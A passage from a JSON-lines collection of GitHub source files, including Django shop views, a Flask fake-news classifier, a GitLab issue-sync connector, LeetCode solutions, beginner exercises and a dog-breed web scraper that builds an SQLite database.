Form.setWindowTitle(QtGui.QApplication.translate(\"Form\", \"Form\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.groupBox.setTitle(QtGui.QApplication.translate(\"Form\", \"Font\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.label.setText(QtGui.QApplication.translate(\"Form\", \"Font Size:\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.groupBox_5.setTitle(QtGui.QApplication.translate(\"Form\", \"Sample Text\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.label_2.setText(QtGui.QApplication.translate(\"Form\", \"AaBbCcDdEeFfGgHhIiJjKkLlYyZz\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.groupBox_2.setTitle(QtGui.QApplication.translate(\"Form\", \"Clip Board OPtions\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.checkBox.setText(QtGui.QApplication.translate(\"Form\", \"Allow copy from Clip Board on startup\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.groupBox_3.setTitle(QtGui.QApplication.translate(\"Form\", \"History\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.checkBox_2.setText(QtGui.QApplication.translate(\"Form\", \"Show History Dockl on the right side.\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.checkBox_3.setText(QtGui.QApplication.translate(\"Form\", \"Clear all the history records.\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.groupBox_4.setTitle(QtGui.QApplication.translate(\"Form\", \"Book Marks\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.checkBox_4.setText(QtGui.QApplication.translate(\"Form\", \"Show Book Marks Dock on the right side.\", None, QtGui.QApplication.UnicodeUTF8))\r\n self.pushButton.setText(QtGui.QApplication.translate(\"Form\", \"&RestoreDefaults\", None, QtGui.QApplication.UnicodeUTF8))\r\n\r\n","repo_name":"jnoortheen/nigandu","sub_path":"src/qt designer files ui/opt.py","file_name":"opt.py","file_ext":"py","file_size_in_byte":5324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"30561376031","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom .models import Items\nfrom users.models import Wishlist, Cart\nfrom .utils import *\nfrom django.http import HttpResponseRedirect\n\n# Create your views here.\n\n\n\ndef all_products(request):\n items = Items.objects.all().order_by('?')\n contex = {\n 'items': items\n }\n # print(request.META.get('HTTP_REFERER', '/'),'<--requested from that url')\n return render(request, 'products.html', contex)\n\n\ndef newest_products(request):\n items = Items.objects.all().order_by('-created_at')\n contex = {\n 'items': items\n }\n return render(request, 'products.html', contex)\n\n\ndef low_price_products(request):\n items = Items.objects.all().order_by('price')\n contex = {\n 'items': items\n }\n return render(request, 'products.html', contex)\n\n\ndef high_price_products(request):\n items = Items.objects.all().order_by('-price')\n contex = {\n 'items': items\n }\n return render(request, 'products.html', contex)\n\n\ndef single_product(request, slug):\n product = Items.objects.get(slug=slug)\n like_products = Items.objects.filter(subcategory=product.subcategory).exclude(pk=product.id)\n try:\n wished = Wishlist.objects.get(user=request.user, item=product)\n except:\n wished = None\n try:\n in_cart = Cart.objects.get(user=request.user, item=product, ordered=False)\n except:\n in_cart = None\n return render(\n request,\n 'single-product.html',\n {'product': product, 'like_products': like_products, 'wished': wished, 'in_cart': in_cart}\n )\n\n\n\n# Remove an item to favorite.\n@login_required\ndef remove_from_wishlist(request, pk):\n item = Items.objects.get(pk=pk)\n wished_item, created = Wishlist.objects.get_or_create(item=item, user=request.user)\n wished_item.delete()\n messages.info(request, \"Item has been removed.\")\n\n # keep user on the same page\n next = request.META.get('HTTP_REFERER', None) or '/'\n # print(next, 'previous path')\n response = HttpResponseRedirect(next)\n return response\n\n\n# Add an item to favorite.\n@login_required\ndef add_to_wishlist(request, pk):\n item = Items.objects.get(pk=pk)\n wished_item, created = Wishlist.objects.get_or_create(item=item, user=request.user)\n messages.info(request, \"Item was added to your wishlist.\")\n return redirect('single_product', slug=item.slug)\n\n\n# reduce item quantity by one\ndef reduce_cart(request, pk):\n item = get_object_or_404(Items, pk=pk)\n if request.user.is_authenticated:\n item_in_cart = Cart.objects.get(user=request.user, item=item, ordered=False)\n if item_in_cart.quantity > 1:\n item_in_cart.quantity -= 1\n item_in_cart.save()\n else:\n remove_from_cart_for_authenticated_user(request, pk)\n else:\n cart = request.session.get('cart')\n if request.session['cart'][str(pk)] > 1:\n # Session is NOT modified so save it\n request.session['cart'][str(pk)] -= 1\n request.session.save()\n else:\n request.session['cart'].pop(str(pk))\n request.session.save()\n return redirect(\"cart\")\n\n\n\n# remove item from Cart.\ndef remove_from_cart(request, pk):\n if request.user.is_authenticated:\n print('remove_from_cart')\n remove_from_cart_for_authenticated_user(request, pk)\n return redirect(\"cart\")\n else:\n request.session['cart'].pop(str(pk))\n request.session.save()\n return redirect(\"cart\")\n\n\n# Add a item to Cart.\ndef add_to_cart(request, pk):\n print('ad to cart-----------', request.method)\n\n if request.user.is_authenticated:\n item = add_to_cart_for_authenticated_user(request, pk)\n try:\n wish_item = Wishlist.objects.get(item=item, user=request.user)\n wish_item.delete()\n except:\n pass\n return redirect(\"cart\")\n\n else:\n item = add_to_cart_for_anonymous_user(request, pk)\n # del request.session['cart']\n return redirect(\"cart\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"rabbanibcs/eshop","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16479271854","text":"# Implementation of NybbleHA in python\r\n\r\ndef nybble(message, iv):\r\n blocks = []\r\n hashes = []\r\n for i in range(0, len(message), 2):\r\n block = '0x' + message[i] + message[i+1]\r\n hex_block = hex(int(block, 16))\r\n blocks.append(hex_block)\r\n hexIV = hex(int('0x' + iv, 16))\r\n e = hex(int(blocks[0], 16) % int(hexIV, 16))\r\n hi = hex(int(e, 16) ^ int(hexIV, 16))\r\n hashes.append(hi)\r\n\r\n for block in blocks[1:]:\r\n if hi == 1:\r\n # xor will always result in c (xor of 1 and d)\r\n # no need to calculate\r\n hi = '0xc'\r\n hashes.append(hi)\r\n elif hi == 0:\r\n hi = '0xd'\r\n hashes.append(hi)\r\n else:\r\n block = int(block, 16)\r\n hi = int(str(hi), 16)\r\n e = block % hi\r\n if hi > 9:\r\n hi = hex(hi)\r\n hi = int(str(e), 16) ^ int(str(hi), 16)\r\n hashes.append(hex(hi))\r\n\r\n print('The results from each step are {} '.format(str(hashes)))\r\n print('That means the final tag is {} '.format(str(hashes[-1])))\r\n\r\n\r\nnybble('B345AD1F', 'D')\r\n\r\n","repo_name":"shea7073/NybbleHA","sub_path":"nybbleHA.py","file_name":"nybbleHA.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7658901583","text":"'''\nSolution 1\n写的比较繁琐\n- 从最后一位,一位一位相加,判断是否有进位carry\n- 要注意:如果p1,p2都走完了,还有只剩一个进位carry的情况\n- 在只剩下p1/p2时,也要考虑只剩一个进位的情况\n\n时空复杂度:\n- 时间复杂度 O(n)\n- 空间复杂度 O(1)\n\n⚠️很多细节遗漏\n\nSolution 2:\n简洁版,判断l1,l2,carry有一个不空即可继续a\n'''\n# Solution 2\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n if not l1 and not l2:\n return \n if not l1 or not l2:\n return l2 if not l1 else l1\n \n carry = 0\n dummy = ListNode(-1)\n cur = dummy\n \n while l1 or l2 or carry == 1:\n tmp = (l1.val if l1 else 0) + (l2.val if l2 else 0) + carry\n node = ListNode(tmp % 10)\n carry = tmp // 10\n \n cur.next = node\n cur = cur.next\n \n l1 = l1.next if l1 else l1\n l2 = l2.next if l2 else l2\n \n return dummy.next\n \n\n\n# Solution 1\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\nclass Solution:\n def helper(self, p, dummy, cur, carry):\n while p:\n if carry == 0:\n cur.next = p\n return dummy.next\n \n sumBit = p.val + carry \n if sumBit > 9:\n sumBit, carry = sumBit % 10, 1\n else:\n cur.next = ListNode(sumBit)\n cur.next.next = p.next\n return dummy.next\n cur.next = ListNode(sumBit)\n p, cur = p.next, cur.next\n if carry == 1:\n cur.next = ListNode(1)\n return dummy.next\n \n def addTwoNumbers(self, l1, l2):\n if not l1 and not l2:\n return None\n if not l1 or not l2:\n return l1 if not l1 else l2\n \n dummy = ListNode(-1)\n cur = dummy\n p1, p2 = l1, l2\n carry, sumBit = 0, 0\n \n \n while p1 and p2:\n sumBit = p1.val + p2.val + carry\n if sumBit > 9:\n sumBit, carry = sumBit % 10, 1\n else:\n carry = 0\n \n cur.next = ListNode(sumBit)\n cur = cur.next\n p1, p2 = p1.next, p2.next\n \n if p1:\n return self.helper(p1, dummy, cur, carry)\n if p2:\n return self.helper(p2, dummy, cur, carry)\n if carry:\n cur.next = ListNode(1)\n return dummy.next\n","repo_name":"SuyuanLiu/Algorithm","sub_path":"Leetcode/addTwoNumbers.py","file_name":"addTwoNumbers.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"33768461221","text":"while True:\n c = 0\n n = int(input('Type a value to multiply: '))\n if n < 0:\n break\n while c <= 10:\n print(f'{n} x {c:2} = {n*c}')\n c += 1\nprint('SERVICE ENDED.')\nprint('-=-'*15)\n","repo_name":"TalDoHiki/CursoPython","sub_path":"World02/aula015a/ch067.py","file_name":"ch067.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5884981082","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\r\nfrom flask import Flask, render_template, request\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.linear_model import LogisticRegression\r\nimport pickle\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\n\r\napp = Flask(__name__)\r\ncount_vectorizer = CountVectorizer(ngram_range=(1, 2), stop_words='english') \r\nloaded_model= pickle.load(open('model.pkl','rb'))\r\ntrain=pd.read_csv(r\"C:\\Users\\User\\Seminar project\\train.csv\")\r\ntest=pd.read_csv(r\"C:\\Users\\User\\Seminar project\\test.csv\")\r\ntest['total']=test['title']+' '+test['author']+' '+test['text']\r\ntrain['total']=train['title']+' '+train['author']+' '+train['text']\r\nX_train, X_test, y_train, y_test = train_test_split(train['total'], train.label, test_size=0.20, random_state=0)\r\n\r\ndef fake_news_det1(news):\r\n count_train = count_vectorizer.fit_transform(X_train)\r\n count_test = count_vectorizer.transform(X_test)\r\n input_data = [news]\r\n logreg1 = LogisticRegression(C=1e5)\r\n logreg1.fit(count_train, y_train)\r\n vectorized_input_data = count_vectorizer.transform(input_data)\r\n prediction = logreg1.predict(vectorized_input_data)\r\n return prediction\r\n\r\n@app.route('/')\r\ndef home():\r\n return render_template('index.html')\r\n\r\n@app.route('/predict', methods=['POST'])\r\ndef predict():\r\n if request.method == 'POST':\r\n message = request.form['message']\r\n pred = fake_news_det1(message)\r\n print(pred)\r\n return render_template('index.html', prediction=pred)\r\n else:\r\n return render_template('index.html', prediction=\"Something went wrong\")\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","repo_name":"kankshini2000/Fake-news-detection","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72715264751","text":"# -*- coding=utf-8 -*-\nimport pytest\n\nfrom Base import *\nfrom driver import Driver\n\n\nclass TestSearch(object):\n\n\n mainPage = None\n Dev = None\n #searchPage = None\n\n data_test_search=[\n (\"pdd\", u\"拼多多\"),\n (\"alibaba\", u\"阿里巴巴\")\n ]\n\n def setup_method(self, method):\n self.Dev = Driver()\n self.Dev.start()\n self.mainPage = MainPage(self.Dev.get_curr_driver())\n print(\"成功进入MainPage\")\n\n\n @pytest.mark.parametrize(\"keyword, name\", data_test_search)\n def test_search(self, keyword, name):\n searchPage = self.mainPage.goto_search()\n content = searchPage.search(keyword).get_all()[0];\n assert content == name\n\n\n def teardown_method(self, method):\n self.Dev.stop()\n","repo_name":"kenny945/testxueqiu","sub_path":"TestSearchPage.py","file_name":"TestSearchPage.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39158088792","text":"from src.config.db import DB\n\nclass SubjectModel():\n\n def bringSubjects(self):\n cursor = DB.cursor()\n cursor.execute('select * from subjects')\n subjects = cursor.fetchall()\n cursor.close()\n return subjects\n\n def bringSubject(self,id):\n cursor = DB.cursor()\n cursor.execute('select * from subjects where id = ?',(id,))\n subject = cursor.fetchone()\n cursor.close()\n \n if subject is not None:\n subject = subject\n return subject\n\n def insertSubject(self, name, semester):\n cursor = DB.cursor()\n cursor.execute('insert into subjects(name, semester) values(?, ?)',(name, semester))\n cursor.close()\n \n","repo_name":"BraynerBarragan/P_F_L_4_G","sub_path":"src/models/subject.py","file_name":"subject.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34699233562","text":"n = int(input())\nd = dict()\nmax = 0\nfor i in range(n):\n name, money = input().split()\n if name not in d.keys():\n d[name] = 0\n d[name] += int(money)\n if d[name] > max:\n max = d[name]\n\n\nfor k, v in sorted(d.items()):\n if v == max:\n print(f'{k} is lucky!')\n else:\n print(f'{k} has to receive {max - v} tenge')","repo_name":"weydany/PP2","sub_path":"Lab2/f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9373491436","text":"import logging\nfrom time import sleep\nimport gitlab\n\nfrom sqlalchemy import desc, update\n\nfrom models.issue import Issue\nfrom models.version import Version\nfrom utils.date import date_iso_8601_to_datetime\nfrom utils.timeit import timeit\nfrom connectors.git import GitConnector\nfrom gitlab import Gitlab\nfrom datetime import datetime, timedelta\n\nclass GitLabConnector(GitConnector):\n \"\"\"\n Connector to GitLab\n\n Attributes:\n -----------\n - base_url URL to GitLab, empty if gitlab.com\n \"\"\"\n def __init__(self, project_id, directory, base_url, token, repo, current, session, config):\n GitConnector.__init__(self, project_id, directory, token, repo, current, session, config)\n if not base_url and not self.token:\n logging.info(\"anonymous read-only access for public resources (GitLab.com)\")\n self.api = Gitlab()\n if base_url and self.token:\n logging.info(\"private token or personal token authentication (self-hosted GitLab instance)\")\n self.api = Gitlab(url=base_url, private_token=self.token)\n if not base_url and self.token:\n logging.info(\"private token or personal token authentication (GitLab.com)\")\n self.api = Gitlab(private_token=self.token)\n \n # Check the authentification. Doesn't work for public read only access\n if base_url or self.token:\n self.api.auth()\n\n self.remote = self.api.projects.get(self.repo)\n\n def _get_issues(self, since=None, labels=None):\n if not since:\n since = None\n if not labels:\n labels = None\n\n try:\n return self.remote.issues.list(state=\"all\", since=since, with_labels_details=labels, get_all=True)\n except gitlab.GitlabJobRetryError:\n sleep(self.configuration.retry_delay)\n self._get_issues(since, labels)\n \n def _get_releases(self, all, order_by, sort):\n if not all:\n all = None\n if not order_by:\n order_by = None\n if not sort:\n sort = None\n \n try:\n return self.remote.releases.list(all=all, order_by=order_by,sort=sort)\n except gitlab.GitlabJobRetryError:\n sleep(self.configuration.retry_delay)\n self._get_releases(all, order_by, sort)\n \n @timeit\n def create_issues(self):\n \"\"\"\n Create issues into the database from GitLab Issues\n \"\"\"\n logging.info('GitLabConnector: create_issues')\n\n # Check if a database already exist\n last_issue = self.session.query(Issue) \\\n .filter(Issue.project_id == self.project_id) \\\n .filter(Issue.source == 'git') \\\n .order_by(desc(Issue.updated_at)).first()\n if last_issue is not None:\n # Update existing database by fetching new issues\n if not self.configuration.issue_tags:\n git_issues = self._get_issues(since=last_issue.updated_at + timedelta(seconds=1), labels=None)\n else:\n git_issues = self._get_issues(since=last_issue.updated_at + timedelta(seconds=1),\n labels=self.configuration.issue_tags) # e.g. Filter by labels=['bug']\n else:\n # Create a database with all issues\n if not self.configuration.issue_tags:\n git_issues = self._get_issues(since=None, labels=None)\n else:\n git_issues = self._get_issues(labels=self.configuration.issue_tags) # e.g. Filter by labels=['bug']\n \n # versions = self.session.query(Version).all\n logging.info('Syncing ' + str(len(git_issues)) + ' issue(s) from GitLab')\n\n new_bugs = []\n # for version in versions:\n for issue in git_issues:\n # Check if the issue is linked to a selected version (included or not +IN?.§ .?NBVCXd)\n # if version.end_date > issue.created_at > version.start_date:\n if issue.author['username'] not in self.configuration.exclude_issuers:\n \n updated_issue_date = date_iso_8601_to_datetime(issue.updated_at)\n existing_issue_id = self._get_existing_issue_id(issue.iid)\n\n if existing_issue_id:\n logging.info(\"Issue %s already exists, updating it\", existing_issue_id)\n self.session.execute(\n update(Issue).where(Issue.issue_id == existing_issue_id) \\\n .values(title=issue.title, updated_at=updated_issue_date)\n )\n else:\n new_bugs.append(\n Issue(\n project_id=self.project_id,\n title=issue.title,\n number=issue.iid,\n source=\"git\",\n created_at=date_iso_8601_to_datetime(issue.created_at),\n updated_at=updated_issue_date,\n )\n )\n\n self.session.add_all(new_bugs)\n self.session.commit()\n \n @timeit\n def create_versions(self):\n \"\"\"\n Create versions into the database from GitLab releases\n \"\"\"\n logging.info('GitLabConnector: create_versions')\n releases = self._get_releases(all=True, order_by=\"released_at\", sort=\"asc\")\n self._clean_project_existing_versions()\n\n versions = []\n previous_release_published_at = self._get_first_commit_date()\n\n for release in releases:\n release_published_at = date_iso_8601_to_datetime(release.released_at)\n versions.append(\n Version(\n project_id=self.project_id,\n name=release.name,\n tag=release.tag_name,\n start_date=previous_release_published_at,\n end_date=release_published_at,\n )\n )\n previous_release_published_at = release_published_at\n\n # Put current branch at the end of the list\n versions.append(\n Version(\n project_id=self.project_id,\n name=self.configuration.next_version_name,\n tag=self.current,\n start_date=previous_release_published_at,\n end_date=datetime.now(),\n )\n )\n self.session.add_all(versions)\n self.session.commit()\n","repo_name":"optittm/bugprediction","sub_path":"connectors/gitlab.py","file_name":"gitlab.py","file_ext":"py","file_size_in_byte":6563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34831422785","text":"subjects = [\"C\", \"C++\", \"JAVA\", \"Python\", \"PHP\", \"JavaScript\", \"TypeScript\"]\n\n# print(len(subjects))\n# subjects.append(\"Swift\")\n# subjects.insert(2, \"Sass\")\n# subjects.remove(\"JAVA\")\n# subjects.sort()\n# subjects.reverse()\n# subjects.pop()\n# subjects.pop(2)\n# subjects.clear()\n# print(subjects)\n\n#subjects_2 = subjects.copy()\n#print(subjects_2)\n\n#pos=subjects.index(\"JAVA\")\n#print(pos)\n\npos=subjects.count(\"JAVA\")\nprint(pos)\n","repo_name":"Selim-Reza-Swadhin/Python-Tutorial","sub_path":"list_2.py","file_name":"list_2.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"32070503789","text":"import heapq\nfrom collections import Counter\nfrom typing import List\n\n\nclass Pair:\n def __init__(self, word, freq):\n self.word = word\n self.freq = freq\n\n def __lt__(self, p):\n return self.freq < p.freq or (self.freq == p.freq and self.word > p.word)\n\nclass Solution:\n \"\"\"\n Given an array of strings words and an integer k, return the k most frequent strings.\n\n Return the answer sorted by the frequency from highest to lowest. Sort the words with the same frequency by their lexicographical order.\n\n Example 1:\n\n Input: words = [\"i\",\"love\",\"leetcode\",\"i\",\"love\",\"coding\"], k = 2\n Output: [\"i\",\"love\"]\n Explanation: \"i\" and \"love\" are the two most frequent words.\n Note that \"i\" comes before \"love\" due to a lower alphabetical order.\n Example 2:\n\n Input: words = [\"the\",\"day\",\"is\",\"sunny\",\"the\",\"the\",\"the\",\"sunny\",\"is\",\"is\"], k = 4\n Output: [\"the\",\"is\",\"sunny\",\"day\"]\n Explanation: \"the\", \"is\", \"sunny\" and \"day\" are the four most frequent words, with the number of occurrence being 4, 3, 2 and 1 respectively.\n \"\"\"\n def topKFrequent1(self, words: List[str], k: int) -> List[str]:\n if len(words) < k:\n return words\n wordCounter = Counter(words)\n return sorted(list(wordCounter.keys()), key=lambda x: (-wordCounter[x], x))[:k]\n\n def topKFrequent(self, words: List[str], k: int) -> List[str]:\n if len(words) < k:\n return []\n\n wordCounter = Counter(words)\n heap = []\n for word, freq in wordCounter.items():\n heapq.heappush(heap, Pair(word, freq))\n if len(heap) > k:\n heapq.heappop(heap)\n return [p.word for p in sorted(heap, reverse=True)]\n","repo_name":"benbendaisy/CommunicationCodes","sub_path":"python_module/examples/692_Top_K_Frequent_Words.py","file_name":"692_Top_K_Frequent_Words.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36177237926","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\nimport sqlite3\nimport plotly.graph_objects as go \nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\n\nDOG = 'http://www.animalplanet.com/breed-selector/dog-breeds/all-breeds-a-z.html'\nDB_NAME = 'doginfo.sqlite'\n\nCACHE_FILE_NAME = 'cache.json'\nCACHE_DICT = {}\n\ndef create_db():\n '''Creates a SQL database and tables.\n \n Parameters\n ----------\n None\n \n Returns\n -------\n None\n '''\n conn = sqlite3.connect(\"doginfo.sqlite\")\n cur = conn.cursor()\n\n drop_dogs = '''\n DROP TABLE IF EXISTS \"Dogs\";\n '''\n create_dogs = '''\n CREATE TABLE IF NOT EXISTS \"Dogs\" (\n \"Id\" INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,\n \"Name\" TEXT NOT NULL,\n \"Rank\" INTEGER,\n \"OriginalPastime\" TEXT NOT NULL,\n \"CountryId\" INTEGER NOT NULL,\n \"BreedGroupId\" INTEGER NOT NULL,\n \"Size\" TEXT,\n \"Barkiness\" TEXT,\n \"MinLifespan\" INTEGER,\n \"MaxLifespan\" INTEGER\n );\n '''\n\n drop_countries = '''\n DROP TABLE IF EXISTS \"Countries\";\n '''\n create_countries = '''\n CREATE TABLE IF NOT EXISTS \"Countries\" (\n \"Id\" INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,\n \"Country\" TEXT NOT NULL\n );\n '''\n\n drop_groups = '''\n DROP TABLE IF EXISTS \"Groups\";\n '''\n create_groups = '''\n CREATE TABLE IF NOT EXISTS \"Groups\" (\n \"Id\" INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,\n \"BreedGroup\" TEXT NOT NULL\n );\n '''\n\n cur.execute(drop_countries)\n cur.execute(drop_groups)\n cur.execute(drop_dogs)\n cur.execute(create_countries)\n cur.execute(create_groups)\n cur.execute(create_dogs)\n conn.commit()\n conn.close()\n\ndef get_dogs():\n '''Creates a dictionary of dogs from url\n and their associated url by scraping.\n \n Parameters\n ----------\n None\n \n Returns\n -------\n dict\n the results of the scraping with a dog breed\n as a key and the url as the value\n '''\n dogs_dict = {}\n dogs = make_url_request_using_cache(DOG, CACHE_DICT) # throwing stick\n soup = BeautifulSoup(dogs, 'html.parser')\n all_dogs_first = soup.find_all('section', id='tabAtoZ')\n dogs = all_dogs_first[0].find_all('li')\n for dog in dogs:\n for rel_path in dog('a'):\n dogs_dict[dog.text.strip()] = rel_path['href']\n return dogs_dict\n\ndef get_dog_info(dictionary):\n '''Creates a list of records associated with each dog.\n \n Parameters\n ----------\n dictionary: dict\n The dictionary containing the urls to scrape and crawl.\n \n Returns\n -------\n list\n Records from each dog in list format.\n '''\n dog_list = []\n for k,v in dictionary.items():\n info_list = []\n info_list.append(k)\n url = make_url_request_using_cache(v, CACHE_DICT) # retrieving stick (1)\n soup = BeautifulSoup(url, 'html.parser')\n dog_info = soup.find_all('div', class_='stats clear')\n more_info = dog_info[0].find_all(class_='right')\n for info in more_info:\n x = info.text.lower().strip()\n info_list.append(x)\n info_list = info_list[:2]\n dog_list.append(info_list)\n return dog_list\n\ndef get_more_info(dictionary):\n '''Creates a list of records associated with each dog.\n Uses a different html tag to find these records, so a \n second function needed.\n \n Parameters\n ----------\n dictionary: dict\n The dictionary containing the urls to scrape and crawl.\n \n Returns\n -------\n list\n Records from each dog in list format.\n '''\n dog_list = []\n for v in dictionary.values():\n url = make_url_request_using_cache(v, CACHE_DICT) # retrieving stick(2)\n soup = BeautifulSoup(url, 'html.parser')\n all_dogs_first = soup.find_all('div', class_='body divider')\n l = []\n a = []\n for i in all_dogs_first:\n j = i.text.strip()\n fast_facts = j.find('FACTS')\n just_the_facts = j[fast_facts:]\n if ':' in just_the_facts:\n k=just_the_facts.partition(':')[2]\n l.append(k)\n for line in l:\n m=line.split('\\n')\n for n in m:\n z=n.partition(':')[2].strip()\n a.append(z)\n if a[1] == 'Y':\n a.pop(1)\n a=a[1:]\n if len(a) > 7:\n a = a[:6]\n if a[2] == 'Working Dog':\n a[2] = 'Working' # clean up breed groups\n if a[1] == 'Herding':\n a[1] = 'Hungary' # clean up origins\n punc = [',', '/', '&']\n for mark in punc:\n if mark in a[1]:\n country = a[1].split(mark)\n a[1] = country[0].strip() # clean up origins\n if a[1] == 'Border of Scotland and England':\n a[1] = 'Scotland'\n years = a.pop(3)\n years = years.strip(' years')\n min_max = years.split('-')\n a.extend(min_max)\n dog_list.append(a)\n return dog_list\n\ndef combine_dog_lists(list_1, list_2):\n '''Combines two lists of dog inforamtion.\n \n Parameters\n ----------\n list_1: list\n List of dog information.\n \n list_2: list\n List of dog information.\n \n Returns\n -------\n list\n Records from each dog in list format.\n '''\n list_of_dog_lists = []\n for i, dog in enumerate(list_1):\n doggy = list_2[i]\n total_dog_list = dog + doggy\n list_of_dog_lists.append(total_dog_list)\n return list_of_dog_lists\n\ndef add_info(list_of_info):\n '''Adds records to the dogs table in the SQL database.\n \n Parameters\n ----------\n list_of_info: list\n A list containing all the information for each dog.\n \n Returns\n -------\n None\n '''\n select_country_id_sql = '''\n SELECT Id FROM Countries\n WHERE Country = ?\n '''\n\n select_group_id_sql = '''\n SELECT Id FROM Groups\n WHERE BreedGroup = ?\n '''\n\n insert_dogs = f'''\n INSERT INTO Dogs\n VALUES (NULL, ?, ?, ?, ?, ?, ?, ?, ?, ?)\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n for dog in list_of_info:\n cur.execute(select_country_id_sql, [dog[3]])\n res = cur.fetchone()\n country_id = None\n if res is not None:\n country_id = res[0]\n\n cur.execute(select_group_id_sql, [dog[4]])\n grp = cur.fetchone()\n group_id = None\n if grp is not None:\n group_id = grp[0]\n\n cur.execute(insert_dogs, [\n dog[0],\n dog[1],\n dog[2],\n country_id,\n group_id,\n dog[5],\n dog[6],\n dog[7],\n dog[8]\n ])\n conn.commit()\n conn.close()\n\n\ndef populate_countries(list_of_info):\n '''Creates a dictionary with a country as the key\n and a number as the value to be used as a foreign key.\n \n Parameters\n ----------\n list_of_info: list\n The complete list of dog information.\n \n Returns\n -------\n dictionary\n Country-Id in a key-value pair.\n '''\n countries = {}\n counter = 0\n for list_item in list_of_info:\n country = list_item[3]\n if country not in countries:\n counter += 1\n countries[country] = counter\n else:\n country = countries[country]\n return countries\n \ndef country_table(dictionary):\n '''Adds records to the countries table in the SQL database.\n \n Parameters\n ----------\n dictionary: dictionary\n A dictionary of the country and id as key-value pairs.\n \n Returns\n -------\n None\n '''\n insert_countries = '''\n INSERT INTO Countries\n VALUES (NULL, ?)\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n countries = []\n for k in dictionary.keys():\n countries.append(k)\n for country in countries:\n y = []\n y.append(country)\n cur.execute(insert_countries, y)\n conn.commit()\n conn.close()\n\ndef populate_breed_groups(list_of_info):\n '''Creates a dictionary with a breed group as the key\n and a number as the value to be used as a foreign key.\n \n Parameters\n ----------\n list_of_info: list\n The complete list of dog information.\n \n Returns\n -------\n dictionary\n Breed group-Id in a key-value pair.\n '''\n groups = {}\n counter = 0\n for list_item in list_of_info:\n group = list_item[4]\n if group not in groups:\n if group == 'Working Dog':\n group = 'Working'\n # working dog was listed as one of the \n # groups. this sets it as just 'working'\n counter += 1\n groups[group] = counter\n else:\n group = groups[group]\n return groups\n\ndef group_table(dictionary):\n '''Adds records to the groups table in the SQL database.\n \n Parameters\n ----------\n dictionary: dictionary\n A dictionary of the breed group and id as key-value pairs.\n \n Returns\n -------\n None\n '''\n insert_groups = '''\n INSERT INTO Groups\n VALUES (NULL, ?)\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n groups = []\n for k in dictionary.keys():\n groups.append(k)\n for group in groups:\n y = []\n y.append(group)\n cur.execute(insert_groups, y)\n conn.commit()\n conn.close()\n\ndef load_cache(): \n ''' Opens the cache file if it exists and loads the JSON into\n the CACHE_DICT dictionary.\n if the cache file doesn't exist, creates a new cache dictionary\n \n Parameters\n ----------\n None\n \n Returns\n -------\n The opened cache: dict\n '''\n try:\n cache_file = open(CACHE_FILE_NAME, 'r')\n cache_file_contents = cache_file.read()\n cache = json.loads(cache_file_contents)\n cache_file.close()\n except:\n cache = {}\n return cache\n\n\ndef save_cache(cache):\n ''' Saves the current state of the cache to disk\n \n Parameters\n ----------\n cache_dict: dict\n The dictionary to save\n \n 